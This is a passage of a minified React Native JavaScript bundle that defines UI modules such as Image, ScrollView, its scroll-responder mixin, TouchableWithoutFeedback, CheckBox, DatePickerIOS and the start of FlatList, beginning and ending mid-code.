r(e,i),o&&o.__detach()}},{key:\"componentWillReceiveProps\",value:function(e){this._attachProps(e)}},{key:\"componentDidUpdate\",value:function(e){this._component!==this._prevComponent&&this._propsAnimated.setNativeView(this._component),this._component===this._prevComponent&&e===this.props||(this._detachNativeEvents(),this._attachNativeEvents())}},{key:\"render\",value:function(){var t=this._propsAnimated.__getValue();return p.createElement(e,babelHelpers.extends({},t,{ref:this._setComponentRef,collapsable:!this._propsAnimated.__isNative&&t.collapsable}))}},{key:\"_setComponentRef\",value:function(e){this._prevComponent=this._component,this._component=e}},{key:\"getNode\",value:function(){return this._component}}]),n}(p.Component);t.__skipSetNativeProps_FOR_TESTS_ONLY=!1;var n=e.__propTypesSecretDontUseThesePlease||e.propTypes;return t.propTypes={style:function(e,t,o){if(n)for(var i in _)n[i]||void 0===e[i]||console.warn(\"You are setting the style `{ \"+i+\": ... }` as a prop. You should nest it in a style object. E.g. `{ style: { \"+i+\": ... } }`\")}},t}var s=t(177),a=s.AnimatedEvent,r=t(190),p=t(114),_=t(124);n.exports=i},202);\n__d(function(e,r,o,s){\"use strict\";var t=r(131),i=r(117),n=r(204),a=r(116),c=r(43),u=r(15),d=r(114),l=r(111),h=r(129),p=r(144),f=r(138),g=r(140),b=r(60),m=r(142),v=r(153),w=u.ImageViewManager,y=g({displayName:\"Image\",propTypes:{style:f(a),source:n,defaultSource:l.oneOfType([l.shape({uri:l.string,width:l.number,height:l.number,scale:l.number}),l.number]),accessible:l.bool,accessibilityLabel:l.node,blurRadius:l.number,capInsets:t,resizeMethod:l.oneOf([\"auto\",\"resize\",\"scale\"]),resizeMode:l.oneOf([\"cover\",\"contain\",\"stretch\",\"repeat\",\"center\"]),testID:l.string,onLayout:l.func,onLoadStart:l.func,onProgress:l.func,onError:l.func,onPartialLoad:l.func,onLoad:l.func,onLoadEnd:l.func},statics:{resizeMode:i,getSize:function(e,r,o){w.getSize(e,r,o||function(){console.warn(\"Failed to get size for image: \"+e)})},prefetch:function(e){return w.prefetchImage(e)},resolveAssetSource:v},mixins:[c],viewConfig:{uiViewClassName:\"UIView\",validAttributes:h.UIView},render:function(){var e=v(this.props.source)||{uri:void 0,width:void 0,height:void 0},r=void 0,o=void 0;if(Array.isArray(e))o=b([z.base,this.props.style])||{},r=e;else{var s=e.width,t=e.height,i=e.uri;o=b([{width:s,height:t},z.base,this.props.style])||{},r=[e],\"\"===i&&console.warn(\"source.uri should not be an empty string\")}var n=this.props.resizeMode||(o||{}).resizeMode||\"cover\",a=(o||{}).tintColor;return this.props.src&&console.warn(\"The <Image> component requires a `source` property rather than `src`.\"),d.createElement(I,babelHelpers.extends({},this.props,{style:o,resizeMode:n,tintColor:a,source:r}))}}),z=p.create({base:{overflow:\"hidden\"}}),I=m(\"RCTImageView\",y);o.exports=y},203);\n__d(function(e,r,n,t){\"use strict\";var a=r(111),c=a.shape({uri:a.string,bundle:a.string,method:a.string,headers:a.objectOf(a.string),body:a.string,cache:a.oneOf([\"default\",\"reload\",\"force-cache\",\"only-if-cached\"]),width:a.number,height:a.number,scale:a.number}),i=a.oneOfType([c,a.number,a.arrayOf(c)]);n.exports=i},204);\n__d(function(e,o,n,t){\"use strict\";var l=o(175),r=o(41),s=o(131),i=o(23),a=o(206),c=o(111),d=o(114),h=o(44),p=o(207),u=o(214),m=o(144),f=o(138),S=o(110),y=o(130),R=o(124),v=o(140),b=(o(210),o(60),o(13)),w=o(215),_=o(142),H=o(27),g=v({displayName:\"ScrollView\",propTypes:babelHelpers.extends({},y,{automaticallyAdjustContentInsets:c.bool,contentInset:s,contentOffset:a,bounces:c.bool,bouncesZoom:c.bool,alwaysBounceHorizontal:c.bool,alwaysBounceVertical:c.bool,centerContent:c.bool,contentContainerStyle:f(R),decelerationRate:c.oneOfType([c.oneOf([\"fast\",\"normal\"]),c.number]),horizontal:c.bool,indicatorStyle:c.oneOf([\"default\",\"black\",\"white\"]),directionalLockEnabled:c.bool,canCancelContentTouches:c.bool,keyboardDismissMode:c.oneOf([\"none\",\"on-drag\",\"interactive\"]),keyboardShouldPersistTaps:c.oneOf([\"always\",\"never\",\"handled\",!1,!0]),maximumZoomScale:c.number,minimumZoomScale:c.number,onMomentumScrollBegin:c.func,onMomentumScrollEnd:c.func,onScroll:c.func,onContentSizeChange:c.func,pagingEnabled:c.bool,pinchGestureEnabled:c.bool,scrollEnabled:c.bool,scrollEventThrottle:c.number,scrollIndicatorInsets:s,scrollsToTop:c.bool,showsHorizontalScrollIndicator:c.bool,showsVerticalScrollIndicator:c.bool,stickyHeaderIndices:c.arrayOf(c.number),style:f(R),snapToInterval:c.number,snapToAlignment:c.oneOf([\"start\",\"center\",\"end\"]),removeClippedSubviews:c.bool,zoomScale:c.number,contentInsetAdjustmentBehavior:c.oneOf([\"automatic\",\"scrollableAxes\",\"never\",\"always\"]),refreshControl:c.element,endFillColor:r,scrollPerfTag:c.string,overScrollMode:c.oneOf([\"auto\",\"always\",\"never\"]),DEPRECATED_sendUpdatedChildFrames:c.bool}),mixins:[p.Mixin],_scrollAnimatedValue:new l.Value(0),_scrollAnimatedValueAttachment:null,_stickyHeaderRefs:new Map,_headerLayoutYs:new Map,getInitialState:function(){return this.scrollResponderMixinGetInitialState()},componentWillMount:function(){this._scrollAnimatedValue=new l.Value(0),this._stickyHeaderRefs=new Map,this._headerLayoutYs=new Map},componentDidMount:function(){this._updateAnimatedNodeAttachment()},componentDidUpdate:function(){this._updateAnimatedNodeAttachment()},componentWillUnmount:function(){this._scrollAnimatedValueAttachment&&this._scrollAnimatedValueAttachment.detach()},setNativeProps:function(e){this._scrollViewRef&&this._scrollViewRef.setNativeProps(e)},getScrollResponder:function(){return this},getScrollableNode:function(){return h.findNodeHandle(this._scrollViewRef)},getInnerViewNode:function(){return h.findNodeHandle(this._innerViewRef)},scrollTo:function(e,o,n){if(\"number\"==typeof e)console.warn(\"`scrollTo(y, x, animated)` is deprecated. Use `scrollTo({x: 5, y: 5, animated: true})` instead.\");else{var t=e||{};o=t.x,e=t.y,n=t.animated}this.getScrollResponder().scrollResponderScrollTo({x:o||0,y:e||0,animated:n!==!1})},scrollToEnd:function(e){var o=(e&&e.animated)!==!1;this.getScrollResponder().scrollResponderScrollToEnd({animated:o})},scrollWithoutAnimationTo:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;console.warn(\"`scrollWithoutAnimationTo` is deprecated. Use `scrollTo` instead\"),this.scrollTo({x:o,y:e,animated:!1})},flashScrollIndicators:function(){this.getScrollResponder().scrollResponderFlashScrollIndicators()},_getKeyForIndex:function(e,o){var n=o[e];return n&&n.key},_updateAnimatedNodeAttachment:function(){this._scrollAnimatedValueAttachment&&this._scrollAnimatedValueAttachment.detach(),this.props.stickyHeaderIndices&&this.props.stickyHeaderIndices.length>0&&(this._scrollAnimatedValueAttachment=l.attachNativeEvent(this._scrollViewRef,\"onScroll\",[{nativeEvent:{contentOffset:{y:this._scrollAnimatedValue}}}]))},_setStickyHeaderRef:function(e,o){o?this._stickyHeaderRefs.set(e,o):this._stickyHeaderRefs.delete(e)},_onStickyHeaderLayout:function(e,o,n){if(this.props.stickyHeaderIndices){var t=d.Children.toArray(this.props.children);if(n===this._getKeyForIndex(e,t)){var l=o.nativeEvent.layout.y;this._headerLayoutYs.set(n,l);var r=this.props.stickyHeaderIndices.indexOf(e),s=this.props.stickyHeaderIndices[r-1];if(null!=s){var i=this._stickyHeaderRefs.get(this._getKeyForIndex(s,t));i&&i.setNextHeaderY(l)}}}},_handleScroll:function(e){this.scrollResponderHandleScroll(e)},_handleContentOnLayout:function(e){var o=e.nativeEvent.layout,n=o.width,t=o.height;this.props.onContentSizeChange&&this.props.onContentSizeChange(n,t)},_scrollViewRef:null,_setScrollViewRef:function(e){this._scrollViewRef=e},_innerViewRef:null,_setInnerViewRef:function(e){this._innerViewRef=e},render:function(){var e=this,o=void 0,n=void 0;o=T,n=E,H(!this.props.snapToInterval||!this.props.pagingEnabled,\"snapToInterval is currently ignored when pagingEnabled is true.\"),b(void 0!==o,\"ScrollViewClass must not be undefined\"),b(void 0!==n,\"ScrollContentContainerViewClass must not be undefined\");var t=[this.props.horizontal&&C.contentContainerHorizontal,this.props.contentContainerStyle],l={};this.props.onContentSizeChange&&(l={onLayout:this._handleContentOnLayout});var r=this.props.stickyHeaderIndices,s=r&&r.length>0,a=s&&d.Children.toArray(this.props.children),c=s?a.map(function(o,n){var t=o?r.indexOf(n):-1;if(t>-1){var l=o.key,s=r[t+1];return d.createElement(u,{key:l,ref:function(o){return e._setStickyHeaderRef(l,o)},nextHeaderLayoutY:e._headerLayoutYs.get(e._getKeyForIndex(s,a)),onLayout:function(o){return e._onStickyHeaderLayout(n,o,l)},scrollAnimatedValue:e._scrollAnimatedValue},o)}return o}):this.props.children,h=d.createElement(n,babelHelpers.extends({},l,{ref:this._setInnerViewRef,style:t,removeClippedSubviews:this.props.removeClippedSubviews,collapsable:!1}),c),p=void 0!==this.props.alwaysBounceHorizontal?this.props.alwaysBounceHorizontal:this.props.horizontal,m=void 0!==this.props.alwaysBounceVertical?this.props.alwaysBounceVertical:!this.props.horizontal,f=!!this.props.DEPRECATED_sendUpdatedChildFrames,S=this.props.horizontal?C.baseHorizontal:C.baseVertical,y=babelHelpers.extends({},this.props,{alwaysBounceHorizontal:p,alwaysBounceVertical:m,style:[S,this.props.style],onContentSizeChange:null,onMomentumScrollBegin:this.scrollResponderHandleMomentumScrollBegin,onMomentumScrollEnd:this.scrollResponderHandleMomentumScrollEnd,onResponderGrant:this.scrollResponderHandleResponderGrant,onResponderReject:this.scrollResponderHandleResponderReject,onResponderRelease:this.scrollResponderHandleResponderRelease,onResponderTerminate:this.scrollResponderHandleTerminate,onResponderTerminationRequest:this.scrollResponderHandleTerminationRequest,onScroll:this._handleScroll,onScrollBeginDrag:this.scrollResponderHandleScrollBeginDrag,onScrollEndDrag:this.scrollResponderHandleScrollEndDrag,onScrollShouldSetResponder:this.scrollResponderHandleScrollShouldSetResponder,onStartShouldSetResponder:this.scrollResponderHandleStartShouldSetResponder,onStartShouldSetResponderCapture:this.scrollResponderHandleStartShouldSetResponderCapture,onTouchEnd:this.scrollResponderHandleTouchEnd,onTouchMove:this.scrollResponderHandleTouchMove,onTouchStart:this.scrollResponderHandleTouchStart,scrollEventThrottle:s?1:this.props.scrollEventThrottle,sendMomentumEvents:!(!this.props.onMomentumScrollBegin&&!this.props.onMomentumScrollEnd),DEPRECATED_sendUpdatedChildFrames:f}),R=this.props.decelerationRate;R&&(y.decelerationRate=w(R));var v=this.props.refreshControl;return v?d.createElement(o,babelHelpers.extends({},y,{ref:this._setScrollViewRef}),i.isTVOS?null:v,h):d.createElement(o,babelHelpers.extends({},y,{ref:this._setScrollViewRef}),h)}}),C=m.create({baseVertical:{flexGrow:1,flexShrink:1,flexDirection:\"column\",overflow:\"scroll\"},baseHorizontal:{flexGrow:1,flexShrink:1,flexDirection:\"row\",overflow:\"scroll\"},contentContainerHorizontal:{flexDirection:\"row\"}}),V=void 0,T=void 0,E=void 0;V={nativeOnly:{onMomentumScrollBegin:!0,onMomentumScrollEnd:!0,onScrollBeginDrag:!0,onScrollEndDrag:!0}},T=_(\"RCTScrollView\",g,V),E=_(\"RCTScrollContentView\",S),n.exports=g},205);\n__d(function(r,e,n,t){\"use strict\";var u=e(111),s=e(132),b=s({x:u.number,y:u.number});n.exports=b},206);\n__d(function(e,o,n,r){\"use strict\";function s(e){var o=f(e);return o&&o.viewConfig&&(\"AndroidTextInput\"===o.viewConfig.uiViewClassName||\"RCTTextView\"===o.viewConfig.uiViewClassName||\"RCTTextField\"===o.viewConfig.uiViewClassName)}var l=o(146),t=o(208),i=o(209),d=o(44),a=o(211),c=o(62),p=o(63),h=o(13),u=o(212),S=o(24),m=o(27),R=o(15),T=R.ScrollViewManager,b=o(213),f=b.getInstanceFromNode,g=16,y={mixins:[a.Mixin],scrollResponderMixinGetInitialState:function(){return{isTouching:!1,lastMomentumScrollBeginTime:0,lastMomentumScrollEndTime:0,observedScrollSinceBecomingResponder:!1,becameResponderWhileAnimating:!1}},scrollResponderHandleScrollShouldSetResponder:function(){return this.state.isTouching},scrollResponderHandleStartShouldSetResponder:function(e){var o=c.currentlyFocusedField();return\"handled\"===this.props.keyboardShouldPersistTaps&&null!=o&&e.target!==o},scrollResponderHandleStartShouldSetResponderCapture:function(e){var o=c.currentlyFocusedField(),n=this.props.keyboardShouldPersistTaps,r=!n||\"never\"===n;return!(!r||null==o||s(e.target))||this.scrollResponderIsAnimating()},scrollResponderHandleResponderReject:function(){},scrollResponderHandleTerminationRequest:function(){return!this.state.observedScrollSinceBecomingResponder},scrollResponderHandleTouchEnd:function(e){var o=e.nativeEvent;this.state.isTouching=0!==o.touches.length,this.props.onTouchEnd&&this.props.onTouchEnd(e)},scrollResponderHandleResponderRelease:function(e){this.props.onResponderRelease&&this.props.onResponderRelease(e);var o=c.currentlyFocusedField();this.props.keyboardShouldPersistTaps===!0||\"always\"===this.props.keyboardShouldPersistTaps||null==o||e.target===o||this.state.observedScrollSinceBecomingResponder||this.state.becameResponderWhileAnimating||(this.props.onScrollResponderKeyboardDismissed&&this.props.onScrollResponderKeyboardDismissed(e),c.blurTextInput(o))},scrollResponderHandleScroll:function(e){this.state.observedScrollSinceBecomingResponder=!0,this.props.onScroll&&this.props.onScroll(e)},scrollResponderHandleResponderGrant:function(e){this.state.observedScrollSinceBecomingResponder=!1,this.props.onResponderGrant&&this.props.onResponderGrant(e),this.state.becameResponderWhileAnimating=this.scrollResponderIsAnimating()},scrollResponderHandleScrollBeginDrag:function(e){t.beginScroll(),this.props.onScrollBeginDrag&&this.props.onScrollBeginDrag(e)},scrollResponderHandleScrollEndDrag:function(e){var o=e.nativeEvent.velocity;this.scrollResponderIsAnimating()||o&&(0!==o.x||0!==o.y)||t.endScroll(),this.props.onScrollEndDrag&&this.props.onScrollEndDrag(e)},scrollResponderHandleMomentumScrollBegin:function(e){this.state.lastMomentumScrollBeginTime=S(),this.props.onMomentumScrollBegin&&this.props.onMomentumScrollBegin(e)},scrollResponderHandleMomentumScrollEnd:function(e){t.endScroll(),this.state.lastMomentumScrollEndTime=S(),this.props.onMomentumScrollEnd&&this.props.onMomentumScrollEnd(e)},scrollResponderHandleTouchStart:function(e){this.state.isTouching=!0,this.props.onTouchStart&&this.props.onTouchStart(e)},scrollResponderHandleTouchMove:function(e){this.props.onTouchMove&&this.props.onTouchMove(e)},scrollResponderIsAnimating:function(){var e=S(),o=e-this.state.lastMomentumScrollEndTime,n=o<g||this.state.lastMomentumScrollEndTime<this.state.lastMomentumScrollBeginTime;return n},scrollResponderGetScrollableNode:function(){return this.getScrollableNode?this.getScrollableNode():d.findNodeHandle(this)},scrollResponderScrollTo:function(e,o,n){if(\"number\"==typeof e)console.warn(\"`scrollResponderScrollTo(x, y, animated)` is deprecated. Use `scrollResponderScrollTo({x: 5, y: 5, animated: true})` instead.\");else{var r=e||{};e=r.x,o=r.y,n=r.animated}p.dispatchViewManagerCommand(u(this.scrollResponderGetScrollableNode()),p.RCTScrollView.Commands.scrollTo,[e||0,o||0,n!==!1])},scrollResponderScrollToEnd:function(e){var o=(e&&e.animated)!==!1;p.dispatchViewManagerCommand(this.scrollResponderGetScrollableNode(),p.RCTScrollView.Commands.scrollToEnd,[o])},scrollResponderScrollWithoutAnimationTo:function(e,o){console.warn(\"`scrollResponderScrollWithoutAnimationTo` is deprecated. Use `scrollResponderScrollTo` instead\"),this.scrollResponderScrollTo({x:e,y:o,animated:!1})},scrollResponderZoomTo:function(e,o){if(h(T&&T.zoomToRect,\"zoomToRect is not implemented\"),\"animated\"in e)var o=e.animated,e=babelHelpers.objectWithoutProperties(e,[\"animated\"]);else\"undefined\"!=typeof o&&console.warn(\"`scrollResponderZoomTo` `animated` argument is deprecated. Use `options.animated` instead\");T.zoomToRect(this.scrollResponderGetScrollableNode(),e,o!==!1)},scrollResponderFlashScrollIndicators:function(){p.dispatchViewManagerCommand(this.scrollResponderGetScrollableNode(),p.RCTScrollView.Commands.flashScrollIndicators,[])},scrollResponderScrollNativeHandleToKeyboard:function(e,o,n){this.additionalScrollOffset=o||0,this.preventNegativeScrollOffset=!!n,p.measureLayout(e,d.findNodeHandle(this.getInnerViewNode()),this.scrollResponderTextInputFocusError,this.scrollResponderInputMeasureAndScrollToKeyboard)},scrollResponderInputMeasureAndScrollToKeyboard:function(e,o,n,r){var s=l.get(\"window\").height;this.keyboardWillOpenTo&&(s=this.keyboardWillOpenTo.endCoordinates.screenY);var t=o-s+r+this.additionalScrollOffset;this.preventNegativeScrollOffset&&(t=Math.max(0,t)),this.scrollResponderScrollTo({x:0,y:t,animated:!0}),this.additionalOffset=0,this.preventNegativeScrollOffset=!1},scrollResponderTextInputFocusError:function(e){console.error(\"Error measuring text field: \",e)},componentWillMount:function(){var e=this.props.keyboardShouldPersistTaps;m(\"boolean\"!=typeof e,\"'keyboardShouldPersistTaps={\"+e+\"}' is deprecated. \"+(\"Use 'keyboardShouldPersistTaps=\\\"\"+(e?\"always\":\"never\")+\"\\\"' instead\")),this.keyboardWillOpenTo=null,this.additionalScrollOffset=0,this.addListenerOn(i,\"keyboardWillShow\",this.scrollResponderKeyboardWillShow),this.addListenerOn(i,\"keyboardWillHide\",this.scrollResponderKeyboardWillHide),this.addListenerOn(i,\"keyboardDidShow\",this.scrollResponderKeyboardDidShow),this.addListenerOn(i,\"keyboardDidHide\",this.scrollResponderKeyboardDidHide)},scrollResponderKeyboardWillShow:function(e){this.keyboardWillOpenTo=e,this.props.onKeyboardWillShow&&this.props.onKeyboardWillShow(e)},scrollResponderKeyboardWillHide:function(e){this.keyboardWillOpenTo=null,this.props.onKeyboardWillHide&&this.props.onKeyboardWillHide(e)},scrollResponderKeyboardDidShow:function(e){e&&(this.keyboardWillOpenTo=e),this.props.onKeyboardDidShow&&this.props.onKeyboardDidShow(e)},scrollResponderKeyboardDidHide:function(e){this.keyboardWillOpenTo=null,this.props.onKeyboardDidHide&&this.props.onKeyboardDidHide(e)}},v={Mixin:y};n.exports=v},207);\n__d(function(e,t,o,r){\"use strict\";var g=t(15),a=t(13),n={setGlobalOptions:function(e){void 0!==e.debug&&a(g.FrameRateLogger,\"Trying to debug FrameRateLogger without the native module!\"),g.FrameRateLogger&&g.FrameRateLogger.setGlobalOptions(e)},setContext:function(e){g.FrameRateLogger&&g.FrameRateLogger.setContext(e)},beginScroll:function(){g.FrameRateLogger&&g.FrameRateLogger.beginScroll()},endScroll:function(){g.FrameRateLogger&&g.FrameRateLogger.endScroll()}};o.exports=n},208);\n__d(function(e,o,t,n){\"use strict\";var m=o(13),d=o(80),s=o(15).KeyboardObserver,u=o(210),i=new d(s),r={addListener:function(e,o){m(!1,\"Dummy method used for documentation\")},removeListener:function(e,o){m(!1,\"Dummy method used for documentation\")},removeAllListeners:function(e){m(!1,\"Dummy method used for documentation\")},dismiss:function(){m(!1,\"Dummy method used for documentation\")}};r=i,r.dismiss=u,t.exports=r},209);\n__d(function(t,u,e,n){\"use strict\";function r(){c.blurTextInput(c.currentlyFocusedField())}var c=u(62);e.exports=r},210);\n__d(function(i,n,s,t){\"use strict\";var u={};u.Mixin={componentWillMount:function(){this._subscribableSubscriptions=[]},componentWillUnmount:function(){this._subscribableSubscriptions.forEach(function(i){return i.remove()}),this._subscribableSubscriptions=null},addListenerOn:function(i,n,s,t){this._subscribableSubscriptions.push(i.addListener(n,s,t))}},s.exports=u},211);\n__d(function(n,r,e,t){\"use strict\";var u=function(n){if(null!=n)return n;throw new Error(\"Got unexpected null or undefined\")};e.exports=u},212);\n__d(function(_,e,t,E){\"use strict\";var R=e(44),n=R.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;t.exports=n.ReactNativeComponentTree},213);\n__d(function(e,t,a,o){\"use strict\";var r=t(175),n=t(114),s=t(144),l=function(e){function t(e,a){babelHelpers.classCallCheck(this,t);var o=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,a));return o._onLayout=function(e){o.setState({measured:!0,layoutY:e.nativeEvent.layout.y,layoutHeight:e.nativeEvent.layout.height}),o.props.onLayout(e);var t=n.Children.only(o.props.children);t.props.onLayout&&t.props.onLayout(e)},o.state={measured:!1,layoutY:0,layoutHeight:0,nextHeaderLayoutY:e.nextHeaderLayoutY},o}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"setNextHeaderY\",value:function(e){this.setState({nextHeaderLayoutY:e})}},{key:\"render\",value:function(){var e=this.state,t=e.measured,a=e.layoutHeight,o=e.layoutY,s=e.nextHeaderLayoutY,l=[-1,0],i=[0,0];if(t){l.push(o),i.push(0);var p=(s||0)-a;p>=o?(l.push(p,p+1),i.push(p-o,p-o)):(l.push(o+1),i.push(1))}var y=this.props.scrollAnimatedValue.interpolate({inputRange:l,outputRange:i}),h=n.Children.only(this.props.children);return n.createElement(r.View,{collapsable:!1,onLayout:this._onLayout,style:[h.props.style,u.header,{transform:[{translateY:y}]}]},n.cloneElement(h,{style:u.fill,onLayout:void 0}))}}]),t}(n.Component),u=s.create({header:{zIndex:10},fill:{flex:1}});a.exports=l},214);\n__d(function(t,n,r,o){\"use strict\";function s(t){return\"normal\"===t?t=.998:\"fast\"===t&&(t=.99),t}r.exports=s},215);\n__d(function(i,t,e,n){\"use strict\";var a=\"undefined\"==typeof window?i:window,r=function(i,t,e){return function(n,a){var r=i(function(){t.call(this,r),n.apply(this,arguments)}.bind(this),a);return this[e]?this[e].push(r):this[e]=[r],r}},s=function(i,t){return function(e){if(this[t]){var n=this[t].indexOf(e);n!==-1&&this[t].splice(n,1)}i(e)}},c=\"TimerMixin_timeouts\",m=s(a.clearTimeout,c),o=r(a.setTimeout,m,c),l=\"TimerMixin_intervals\",u=s(a.clearInterval,l),h=r(a.setInterval,function(){},l),f=\"TimerMixin_immediates\",d=s(a.clearImmediate,f),I=r(a.setImmediate,d,f),v=\"TimerMixin_rafs\",T=s(a.cancelAnimationFrame,v),p=r(a.requestAnimationFrame,T,v),x={componentWillUnmount:function(){this[c]&&this[c].forEach(function(i){a.clearTimeout(i)}),this[c]=null,this[l]&&this[l].forEach(function(i){a.clearInterval(i)}),this[l]=null,this[f]&&this[f].forEach(function(i){a.clearImmediate(i)}),this[f]=null,this[v]&&this[v].forEach(function(i){a.cancelAnimationFrame(i)}),this[v]=null},setTimeout:o,clearTimeout:m,setInterval:h,clearInterval:u,setImmediate:I,clearImmediate:d,requestAnimationFrame:p,cancelAnimationFrame:T};e.exports=x},216);\n__d(function(e,s,t,o){\"use strict\";var n=s(131),i=s(114),r=s(111),p=s(216),a=s(166),l=s(140),c=s(218),h=s(27),u=s(139),d=u.AccessibilityComponentTypes,y=u.AccessibilityTraits,b={top:20,left:20,right:20,bottom:30},f=l({displayName:\"TouchableWithoutFeedback\",mixins:[p,a.Mixin],propTypes:{accessible:r.bool,accessibilityComponentType:r.oneOf(d),accessibilityTraits:r.oneOfType([r.oneOf(y),r.arrayOf(r.oneOf(y))]),disabled:r.bool,onPress:r.func,onPressIn:r.func,onPressOut:r.func,onLayout:r.func,onLongPress:r.func,delayPressIn:r.number,delayPressOut:r.number,delayLongPress:r.number,pressRetentionOffset:n,hitSlop:n},getInitialState:function(){return this.touchableGetInitialState()},componentDidMount:function(){c(this.props)},componentWillReceiveProps:function(e){c(e)},touchableHandlePress:function(e){this.props.onPress&&this.props.onPress(e)},touchableHandleActivePressIn:function(e){this.props.onPressIn&&this.props.onPressIn(e)},touchableHandleActivePressOut:function(e){this.props.onPressOut&&this.props.onPressOut(e)},touchableHandleLongPress:function(e){this.props.onLongPress&&this.props.onLongPress(e)},touchableGetPressRectOffset:function(){return this.props.pressRetentionOffset||b},touchableGetHitSlop:function(){return this.props.hitSlop},touchableGetHighlightDelayMS:function(){return this.props.delayPressIn||0},touchableGetLongPressDelayMS:function(){return 0===this.props.delayLongPress?0:this.props.delayLongPress||500},touchableGetPressOutDelayMS:function(){return this.props.delayPressOut||0},render:function(){var e=i.Children.only(this.props.children),s=e.props.children;h(!e.type||\"Text\"!==e.type.displayName,\"TouchableWithoutFeedback does not work well with Text children. Wrap children in a View instead. See \"+(e._owner&&e._owner.getName&&e._owner.getName()||\"<unknown>\")),a.TOUCH_TARGET_DEBUG&&e.type&&\"View\"===e.type.displayName&&(s=i.Children.toArray(s),s.push(a.renderDebugView({color:\"red\",hitSlop:this.props.hitSlop})));var t=a.TOUCH_TARGET_DEBUG&&e.type&&\"Text\"===e.type.displayName?[e.props.style,{color:\"red\"}]:e.props.style;return i.cloneElement(e,{accessible:this.props.accessible!==!1,accessibilityLabel:this.props.accessibilityLabel,accessibilityComponentType:this.props.accessibilityComponentType,accessibilityTraits:this.props.accessibilityTraits,nativeID:this.props.nativeID,testID:this.props.testID,onLayout:this.props.onLayout,hitSlop:this.props.hitSlop,onStartShouldSetResponder:this.touchableHandleStartShouldSetResponder,onResponderTerminationRequest:this.touchableHandleResponderTerminationRequest,onResponderGrant:this.touchableHandleResponderGrant,onResponderMove:this.touchableHandleResponderMove,onResponderRelease:this.touchableHandleResponderRelease,onResponderTerminate:this.touchableHandleResponderTerminate,style:t,children:s})}});t.exports=f},217);\n__d(function(e,n,s,t){\"use strict\";var a=n(13),o=function(e){a(!(e.delayPressIn<0||e.delayPressOut<0||e.delayLongPress<0),\"Touchable components cannot have negative delay properties\")};s.exports=o},218);\n__d(function(e,n,t,o){\"use strict\";var s=n(43),r=n(111),a=n(114),i=n(144),h=n(130),p=n(140),l=n(142),u=p({displayName:\"CheckBox\",propTypes:babelHelpers.extends({},h,{value:r.bool,disabled:r.bool,onChange:r.func,onValueChange:r.func,testID:r.string}),getDefaultProps:function(){return{value:!1,disabled:!1}},mixins:[s],_rctCheckBox:{},_onChange:function(e){this._rctCheckBox.setNativeProps({value:this.props.value}),this.props.onChange&&this.props.onChange(e),this.props.onValueChange&&this.props.onValueChange(e.nativeEvent.value)},render:function(){var e=this,n=babelHelpers.extends({},this.props);return n.onStartShouldSetResponder=function(){return!0},n.onResponderTerminationRequest=function(){return!1},n.enabled=!this.props.disabled,n.on=this.props.value,n.style=[c.rctCheckBox,this.props.style],a.createElement(d,babelHelpers.extends({},n,{ref:function(n){e._rctCheckBox=n},onChange:this._onChange}))}}),c=i.create({rctCheckBox:{height:32,width:32}}),d=l(\"AndroidCheckBox\",u,{nativeOnly:{onChange:!0,on:!0,enabled:!0}});t.exports=u},219);\n__d(function(e,t,n,i){\"use strict\";var a=t(43),m=t(114),r=t(111),s=t(144),o=t(110),u=t(130),p=t(140),d=t(142),c=p({displayName:\"DatePickerIOS\",_picker:void 0,mixins:[a],propTypes:babelHelpers.extends({},u,{date:r.instanceOf(Date).isRequired,onDateChange:r.func.isRequired,maximumDate:r.instanceOf(Date),minimumDate:r.instanceOf(Date),mode:r.oneOf([\"date\",\"time\",\"datetime\"]),minuteInterval:r.oneOf([1,2,3,4,5,6,10,12,15,20,30]),timeZoneOffsetInMinutes:r.number}),getDefaultProps:function(){return{mode:\"datetime\"}},_onChange:function(e){var t=e.nativeEvent.timestamp;this.props.onDateChange&&this.props.onDateChange(new Date(t)),this.props.onChange&&this.props.onChange(e);var n=this.props.date.getTime();this._picker&&t!==n&&this._picker.setNativeProps({date:n})},render:function(){var e=this,t=this.props;return m.createElement(o,{style:t.style},m.createElement(h,{ref:function(t){e._picker=t},style:f.datePickerIOS,date:t.date.getTime(),maximumDate:t.maximumDate?t.maximumDate.getTime():void 0,minimumDate:t.minimumDate?t.minimumDate.getTime():void 0,mode:t.mode,minuteInterval:t.minuteInterval,timeZoneOffsetInMinutes:t.timeZoneOffsetInMinutes,onChange:this._onChange,onStartShouldSetResponder:function(){return!0},onResponderTerminationRequest:function(){return!1}}))}}),f=s.create({datePickerIOS:{height:216}}),h=d(\"RCTDatePicker\",{propTypes:babelHelpers.extends({},c.propTypes,{date:r.number,minimumDate:r.number,maximumDate:r.number,onDateChange:function(){return null},onChange:r.func})});n.exports=c},220);\n__d(function(t,s,c,e){\"use strict\";c.exports=s(143)},221);\n__d(function(e,t,n,r){\"use strict\";var o=t(223),s=t(114),l=t(110),i=t(230),a=t(13),u=babelHelpers.extends({},i.defaultProps,{numColumns:1}),c=function(e){function t(){var e,n,r,o;babelHelpers.classCallCheck(this,t);for(var i=arguments.length,u=Array(i),c=0;c<i;c++)u[c]=arguments[c];return n=r=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(u))),r._hasWarnedLegacy=!1,r._captureRef=function(e){r._listRef=e},r._getItem=function(e,t){var n=r.props.numColumns;if(n>1){for(var o=[],s=0;s<n;s++){var l=e[t*n+s];l&&o.push(l)}return o}return e[t]},r._getItemCount=function(e){return e?Math.ceil(e.length/r.props.numColumns):0},r._keyExtractor=function(e,t){var n=r.props,o=n.keyExtractor,s=n.numColumns;return s>1?(a(Array.isArray(e),\"FlatList: Encountered internal consistency error, expected each item to consist of an array with 1-%s columns; instead, received a single item.\",s),e.map(function(e,n){return o(e,t*s+n)}).join(\":\")):o(e,t)},r._onViewableItemsChanged=function(e){var t=r.props,n=t.numColumns,o=t.onViewableItemsChanged;if(o)if(n>1){var s=[],l=[];e.viewableItems.forEach(function(e){return r._pushMultiColumnViewable(l,e)}),e.changed.forEach(function(e){return r._pushMultiColumnViewable(s,e)}),o({viewableItems:l,changed:s})}else o(e)},r._renderItem=function(e){var t=r.props,n=t.renderItem,o=t.numColumns,i=t.columnWrapperStyle;if(o>1){var u=e.item,c=e.index;return a(Array.isArray(u),\"Expected array of items with numColumns > 